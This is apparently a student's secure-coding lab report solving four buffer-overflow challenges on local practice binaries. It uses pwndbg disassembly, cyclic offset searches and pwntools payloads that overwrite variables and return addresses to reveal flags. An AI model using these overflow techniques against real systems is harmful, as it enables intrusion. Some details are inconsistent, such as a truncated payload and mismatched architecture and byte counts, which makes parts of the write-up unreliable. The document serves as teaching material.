

Colby Crutcher

Secure Coding

Lab 5

Task 1

- Endianness:

```
ccrutter@cyber437:~/lab5/Task1$ file task1
task1: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]-3e16b27168ac0fc6513f34b84d3c682b07cd4a02, for GNU/Linux 3.2.0, with debug_info, not stripped
```

- Checksec:

```
pwndbg> checksec
File:      /home/ccrutter/lab5/Task1/task1
Arch:      amd64
RELRO:     Full RELRO
Stack:     No canary found
NX:        NX enabled
PIE:       PIE enabled
SHSTK:     Enabled
IBT:       Enabled
Stripped:  No
Debuginfo: Yes
pwndbg> █
```

Code to overflow:

```
from pwn import *

# Start program

io.sendlineafter(b':', b'AAAAAAAAAAAAAA\0')
```

- How I got here: I disassembled main, and found that bytes A 1-10 fill the 10 byte gap, and 11 and 12 overflow, with \0 overwriting the third byte of the integer.

```

Dump of assembler code for function main:
0x0804924b <+0>:    lea    ecx,[esp+0x4]
0x0804924f <+4>:    and    esp,0xffffffff
0x08049252 <+7>:    push   DWORD PTR [ecx-0x4]
0x08049255 <+10>:   push   ebp
0x08049256 <+11>:   mov    ebp,esp
0x08049258 <+13>:   push   ebx
0x08049259 <+14>:   push   ecx
0x0804925a <+15>:   sub    esp,0x10
0x0804925d <+18>:   call   0x80490f0 <__x86.get_pc
0x08049262 <+23>:   add    ebx,0x2d92
0x08049268 <+29>:   mov    DWORD PTR [ebp-0xc],0x0
0x0804926f <+36>:   sub    esp,0xc
0x08049272 <+39>:   lea    eax,[ebx-0x1f93]
0x08049278 <+45>:   push   eax
0x08049279 <+46>:   call   0x8049060 <puts@plt>
0x0804927e <+51>:   add    esp,0x10
0x08049281 <+54>:   sub    esp,0xc
0x08049284 <+57>:   lea    eax,[ebp-0x16]
0x08049287 <+60>:   push   eax
0x08049288 <+61>:   call   0x8049040 <gets@plt>
0x0804928d <+66>:   add    esp,0x10
0x08049290 <+69>:   cmp    DWORD PTR [ebp-0xc],0x0
0x08049294 <+73>:   je     0x804929d <main+82>
0x08049296 <+75>:   call   0x80491b6 <revealSecret
0x0804929b <+80>:   jmp    0x80492af <main+100>
0x0804929d <+82>:   sub    esp,0xc
0x080492a0 <+85>:   lea    eax,[ebx-0x1f7e]
0x080492a6 <+91>:   push   eax
0x080492a7 <+92>:   call   0x8049060 <puts@plt>
0x080492ac <+97>:   add    esp,0x10
0x080492af <+100>:  mov    eax,0x0
0x080492b4 <+105>:  lea    esp,[ebp-0x8]
0x080492b7 <+108>:  pop    ecx
0x080492b8 <+109>:  pop    ebx
0x080492b9 <+110>:  pop    ebp
0x080492ba <+111>:  lea    esp,[ecx-0x4]
0x080492bd <+114>:  ret

End of assembler dump.

```

- Buffer starts at: `ebp - 22` Variable is at: `ebp - 12` Distance: $22 - 12 = 10$ bytes.

```
ccrutter@cybr437:~/lab5/Task1$ python3 exploit.py
[+] Starting local process './task1': pid 131498
[+] Receiving all data: Done (63B)
[*] Process './task1' stopped with exit code 0 (pid 131498)

Revealing the secret message:
EWU{Overflowing_with_Secrets!}
```

Figure 1: Output for overflow Task 1

- We skipped the jne, so it flowed to the next line which was reveal secret:

```
0x08049294 <+73>:    je     0x0804929d <main+82>
0x08049296 <+75>:    call  0x080491b6 <revealSecret>
```

Task 2

- Endianness

```
ccrutter@cybr437:~/lab5/Task2$ file task2
task2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]-29c4ad35942eb3928f678556b572c5607b604843, for GNU/Linux 3.2.0, not stripped
```

- checksec

```
pwndbg> checksec
File:      /home/ccrutter/lab5/Task2/task2
Arch:      i386
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x8048000)
Stack:     Executable
RWX:       Has RWX segments
Stripped:  No
pwndbg> 
```

```
io.sendlineafter(b':', b'A' * 25 + b'\x11\xfa\xad\xde')
```

- How I arrived at the value or eip: I used pwndbg to disassemble the binary, and found cmp with the pointer at '0xdeadfa11'. This told us that launch code was 12 bytes from the base pointer

```
0x080492b9 <+78>:    cmp     DWORD PTR [ebp-0xc],0xdeadfa11
```

- I disassembled after this and got that at line <+18>: mov DWORD PTR [ebp-0xc],0x12345678. This puts the variable at ebp - 12

```
0x08049277 <+12>: add     ebx,0x2d7d
0x0804927d <+18>: mov     DWORD PTR [ebp-0xc],0x12345678
0x08049284 <+25>: sub     esp,0xc
```

- There is 0x25 at the start of the buffer, which is 37 in decimal

```
0x08049287 <+30>: add     esp,0x10
0x080492aa <+63>: sub     esp,0xc
0x080492ad <+66>: lea     eax,[ebp-0x25]
0x080492b0 <+69>: push    eax
0x080492b1 <+70>: call    0x8040060 <gets@plt>
```

- $37-12 = 25$, which is where I used to fill the gap, and the flag appears.

```
ccrutter@cybr437:~/lab5/Task2$ python3 exploit.py
[+] Starting local process './task2': pid 136032
[+] Receiving all data: Done (105B)
[*] Process './task2' stopped with exit code 0 (pid 136032)
Launch code accepted!
Mission launched! Revealing mission details:
EWU{Galactic_Exploration_Commencing}
```

Figure 2: Successful Overflow

Task 3

- Endianness

```
ccrutter@cybr437:~/lab5/Task3$ file task3
task3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=429f318af846adda048a3a8c2496a320d4949ac3, for GNU/Linux 3.2.0, not stripped
```

- Checksec

```

pwndbg> checksec
File:      /home/ccrutter/lab5/Task3/task3
Arch:      i386
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x8048000)
Stack:     Executable
RWX:       Has RWX segments
Stripped:  No
pwndbg>

```

```
io.sendlineafter(b':', b'A' * 32 + b'\xc6\x91\x04\x08')
```

- How I arrived at the value: First, I used 'info address revealArtifact', and this revealed the address.

```

pwndbg> info address revealArtifact
Symbol "revealArtifact" is at 0x80491c6 in a file compiled without debugging.
pwndbg>

```

- From here we needed to figure out how many A's to send, so we can use cyclic command to find a pattern. I did cyclic 50.

```

pwndbg> cyclic 50
aaaabaaacaaadaaaefaaagaaahaaiaaajaakaaalaaama
pwndbg> r
Starting program: /home/ccrutter/lab5/Task3/task3
Downloading separate debug info for /lib/ld-linux.so.2
Downloading separate debug info for system-supplied DSO at 0xf7fc7000
Downloading separate debug info for /lib32/libc.so.6
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Enter the name of the explorer:
aaaabaaacaaadaaaefaaagaaahaaiaaajaakaaalaaama
Welcome, aaaabaaacaaadaaaefaaagaaahaaiaaajaakaaalaaama! Let's see if you've found anything...

Program received signal SIGSEGV, Segmentation fault.
0x61616169 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
EAX 0x63
EBX 0x61616167 ('gaaa')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtd_global_ro) ← 0
ESI 0xffffcf7c → 0xffffd121 ← 'SHELL=/bin/bash'
EBP 0x61616168 ('haaa')
ESP 0xffffceb0 ← 'jaaakaaalaaama'
EIP 0x61616169 ('iaaa')
[ DISASM / i386 / set emulate on ]
Invalid address 0x61616169

```

Figure 3: cyclic and run

- Using the EIP value, I pasted it into another run using the -l flag. This gave us an offset of 32 because in 32-bit systems, a 20-byte buffer is often padded to 28 bytes, plus 4 bytes for the Saved Base Pointer (EBP). $28 + 4 = 32$.

```

pwndbg> cyclic -l 0x61616169
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32
pwndbg>

```

- That is how I came to the resolution of 32 bytes for my padding., and used the address 0x080491c6 to little endian.

```

ccrutter@cybr437:~/lab5/Task3$ python3 exploit.py
[+] Starting local process './task3': pid 136932
[+] Receiving all data: Done (205B)
[*] Process './task3' stopped with exit code -11 (SIGSEGV) (pid 136932)

Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF\x0! Let's see if you've found anything...
You've successfully uncovered the Ancient Artifact of Code! Its secrets are now yours
:
EWU{Unearthed_Ancient_S3crets!}

```

Figure 4: Successful Overflow

Task 4

- Endianness

```

ccrutter@cybr437:~/lab5/Task4$ file task4
task4: ELF 32-bit LSB executable, Intel 80386, version 1
(SYSV), dynamically linked, interpreter /lib/ld-linux.so
2, BuildID[sha1]=9127d45162f091d4dd45a89c51ba23017589fa6
, for GNU/Linux 3.2.0, not stripped

```

- checksec

```
pwndbg> checksec
File:      /home/ccrutter/lab5/Task4/task4
Arch:      i386
RELRO:     Partial RELRO
Stack:     No canary found
NX:        NX unknown - GNU_STACK missing
PIE:       No PIE (0x8048000)
Stack:     Executable
RWX:       Has RWX segments
Stripped:  No
pwndbg> 
```

```
io.sendlineafter(b':', b'A' * 44 + b'\xc6\x91\x04\x08' + b'DUMMY' + b'\xce\x11\x0f\x00' + b'
```

- I got tho this solution by first running p accessVault to get the address 0x80491c6.

```
pwndbg> p accessVault
$1 = {<text variable, no debug info>} 0x80491c6 <accessVault>
pwndbg> 
```

- After that we need to know how many A's to send to reach the EIP, so I generated the pattern using 'cyclic 100' then pasted that value into the hacker alias, to find the offset.

```
pwndbg> cyclic 100
aaaaaaacaaadaaaeeafaaagaaahaaiaaaiaaakaalaaamaanaaaapaaqaaaraaasaaataaaauaaavaaaaxaaayaaa
pwndbg> r
Starting program: /home/ccrutter/lab5/Task4/task4
Downloading separate debug info for /lib/ld-linux.so.2
Downloading separate debug info for system-supplied DSO at 0xf7c7000
Downloading separate debug info for /lib32/libc.so.6
warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
Enter your hacker alias:
aaaaaaacaaadaaaeeafaaagaaahaaiaaaiaaakaalaaamaanaaaapaaqaaaraaasaaataaaauaaavaaaaxaaayaaa
Welcome, aaaaaaaacaaadaaaeeafaaagaaahaaiaaaiaaakaalaaamaanaaaapaaqaaaraaasaaataaaauaaavaaaaxaaayaaa! Initiating the cybersecurity vault access sequence...

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
EAX 0xa5
EBX 0x6161616a ('jaaa')
ECX 0
EDX 0
EDI 0xf7ffcb60 (_rtld_global_ro) ← 0
ESI 0xfffffc7c → 0xffffd121 ← 'SHELL=/bin/bash'
EBP 0x6161616b ('kaaa')
ESP 0xffffceb0 ← 'maanaaaacaaapaaqaaaraaasaaataaaauaaavaaaaxaaayaaa'
EIP 0x6161616c ('laaa')
[ DISASM / i386 / set emulate on ]
Invalid address 0x6161616c
```

- From here we are grabbing the offset so doing cyclic -l 0x6161616c, which is the address in the EIP. This returned 44.

```

pwndbg> cyclic -l 0x6161616c
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44
pwndbg> 

```

- When accessVault finishes running, it will try to “return” to whatever address is on the stack immediately after its own address. Since we don’t care where it goes after printing the flag, we just put 4 bytes of junk, which is where the DUMMY comes from.

```

● ccrutcher@cybr437:~/lab5/Task4$ python3 exploit.py
[+] Starting local process './task4': pid 137782
[+] Receiving all data: Done (184B)
[*] Process './task4' stopped with exit code -11 (SIGSEGV) (pid 137782)

Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF\x00DUMMY\xff\x
0f! Initiating the cybersecurity vault access sequence...
Access granted. The flag is:
EWU{Unlocked_through_HEXellence!}

```

Figure 5: Successful Overflow